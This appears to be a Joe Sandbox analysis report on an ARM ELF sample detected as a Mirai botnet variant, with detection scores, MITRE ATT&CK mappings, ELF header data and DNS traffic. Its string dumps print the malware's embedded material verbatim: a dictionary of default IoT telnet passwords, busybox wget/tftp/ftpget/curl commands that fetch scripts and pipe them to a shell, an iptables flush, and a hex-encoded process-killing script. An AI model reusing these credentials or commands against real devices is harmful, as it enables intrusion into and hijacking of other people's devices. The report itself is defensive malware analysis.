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Linux Analysis Report
la.bot.arm7.elf

Overview

General Information

Sample name:	la.bot.arm7.elf
Analysis ID:	1584021
MD5:	bf0caf00fe7d94bee79856f81ed68230
SHA1:	47eda6cf7b581c2100ccfb976ec31ae699a3574a
SHA256:	f361e4f94beeb081bf96636066f30ea562649f1948f8ee0e5343a45ccf163439
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584021
Start date and time:	2025-01-04 03:27:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	la.bot.arm7.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/la.bot.arm7.elf
PID:	5527
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

la.bot.arm7.elf (PID: 5527, Parent: 5446, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/la.bot.arm7.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
la.bot.arm7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5527.1.00007f7eac017000.00007f7eac034000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: la.bot.arm7.elf

ReversingLabs: Detection: 31%

Source: la.bot.arm7.elf	String: ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp
Source: la.bot.arm7.elf	String: /proc//cmdline/mapsselfrebootftpwgetmountunmount-shashtftpcurl/bin/login/exe\|ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp/proc/mounts (deleted)/proc/%s/statusPPid:/fdsocket\|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
Source: la.bot.arm7.elf	String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4()

Source: /tmp/la.bot.arm7.elf (PID: 5527)

Socket: 127.0.0.1:43478

Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: la.bot.arm7.elf	String found in binary or memory: http:///curl.sh
Source: la.bot.arm7.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
Source: Initial sample	String containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample	String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \|

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@2/0

Source: /tmp/la.bot.arm7.elf (PID: 5527)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5527)	File opened: /proc/22/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5527)	File opened: /proc/55/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5527)	File opened: /proc/66/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5527)	File opened: /proc/88/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5527)	File opened: /proc/99/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5527)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5527)	File opened: /proc/222/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5527)	File opened: /proc/333/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5527)	File opened: /proc/777/maps	Jump to behavior

Source: /tmp/la.bot.arm7.elf (PID: 5527)

Queries kernel information via 'uname':

Jump to behavior

Source: la.bot.arm7.elf, 5527.1.000055c062dd7000.000055c062f26000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm7.elf, 5527.1.000055c062dd7000.000055c062f26000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm7.elf, 5527.1.00007ffcd4ec1000.00007ffcd4ee2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm7.elf, 5527.1.00007ffcd4ec1000.00007ffcd4ee2000.rw-.sdmp	Binary or memory string: *9x86_64/usr/bin/qemu-arm/tmp/la.bot.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm7.elf
Source: la.bot.arm7.elf, 5527.1.00007ffcd4ec1000.00007ffcd4ee2000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: la.bot.arm7.elf, type: SAMPLE
Source: Yara match	File source: 5527.1.00007f7eac017000.00007f7eac034000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: la.bot.arm7.elf, type: SAMPLE
Source: Yara match	File source: 5527.1.00007f7eac017000.00007f7eac034000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
la.bot.arm7.elf	32%	ReversingLabs	Linux.Trojan.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	la.bot.arm7.elf	false		high
http:///curl.sh	la.bot.arm7.elf	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	jklarm.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	Josho.x86.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	185.232.205.45-boatnet.ppc-2025-01-03T23_59_48.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	185.232.205.45-boatnet.spc-2025-01-03T23_59_48.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	185.232.205.45-boatnet.arm6-2025-01-03T23_59_47.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	185.232.205.45-boatnet.x86-2025-01-03T23_59_45.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	185.232.205.45-boatnet.mips-2025-01-03T23_59_45.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	185.232.205.45-boatnet.arm7-2025-01-03T23_59_47.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	185.232.205.45-boatnet.m68k-2025-01-03T23_59_48.elf	Get hash	malicious	Mirai	Browse	162.213.35.24

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.118704388046
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	la.bot.arm7.elf
File size:	117'096 bytes
MD5:	bf0caf00fe7d94bee79856f81ed68230
SHA1:	47eda6cf7b581c2100ccfb976ec31ae699a3574a
SHA256:	f361e4f94beeb081bf96636066f30ea562649f1948f8ee0e5343a45ccf163439
SHA512:	928c0535224ed44d6020f0cace32d5ee0a9f939a2865719ed905d1970026a621f623681ee1e24903f8ef1fa2cd5894075b206282131ca34adf982c2603d17dfb
SSDEEP:	3072:ZfIw1LMPtmYeF7Ng4gUUnNcD/af8a5d3ZHYgO9xt4ES3uWlnp:ZgQLMPtMQUha0a5d3ZHYg2xtyum
TLSH:	7CB3E85AF8819F16D5CA15BFFE4F428E332327A8E3DF72029D146B2476CA55B0E6B401
File Content Preview:	.ELF..............(.........4...........4. ...(........p.....A...A.......................................................................t..........................................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	116496
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x18988	0x0	0x6	AX	0	16
.fini	PROGBITS	0x20a78	0x18a78	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x20a88	0x18a88	0x3710	0x0	0x2	A	0	8
.ARM.extab	PROGBITS	0x24198	0x1c198	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x241b0	0x1c1b0	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x2c2c8	0x1c2c8	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x2c2cc	0x1c2cc	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x2c2cc	0x1c2cc	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x2c2d0	0x1c2d0	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x2c2d8	0x1c2d8	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x2c380	0x1c380	0x31c	0x0	0x3	WA	0	4
.bss	NOBITS	0x2c69c	0x1c69c	0x70d4	0x0	0x3	WA	0	4
.shstrtab	STRTAB	0x0	0x1c69c	0x73	0x0	0x0		0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x1c1b0	0x241b0	0x241b0	0x118	0x118	4.4807	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x1c2c8	0x1c2c8	6.1328	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x1c2c8	0x2c2c8	0x2c2c8	0x3d4	0x74a8	4.3468	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .got .data .bss
TLS	0x1c2cc	0x2c2cc	0x2c2cc	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 03:27:50.013654947 CET	37172	53	192.168.2.15	1.1.1.1
Jan 4, 2025 03:27:50.013705969 CET	44601	53	192.168.2.15	1.1.1.1
Jan 4, 2025 03:27:50.020627022 CET	53	44601	1.1.1.1	192.168.2.15
Jan 4, 2025 03:27:50.020944118 CET	53	37172	1.1.1.1	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 4, 2025 03:27:50.013654947 CET	192.168.2.15	1.1.1.1	0xbe0f	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 4, 2025 03:27:50.013705969 CET	192.168.2.15	1.1.1.1	0x5a9d	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 4, 2025 03:27:50.020944118 CET	1.1.1.1	192.168.2.15	0xbe0f	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Jan 4, 2025 03:27:50.020944118 CET	1.1.1.1	192.168.2.15	0xbe0f	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: la.bot.arm7.elf PID: 5527, Parent PID: 5446

General

Start time (UTC):	02:27:47
Start date (UTC):	04/01/2025
Path:	/tmp/la.bot.arm7.elf
Arguments:	/tmp/la.bot.arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report la.bot.arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: la.bot.arm7.elf PID: 5527, Parent PID: 5446

General

Chronological Activities

Linux Analysis Report
la.bot.arm7.elf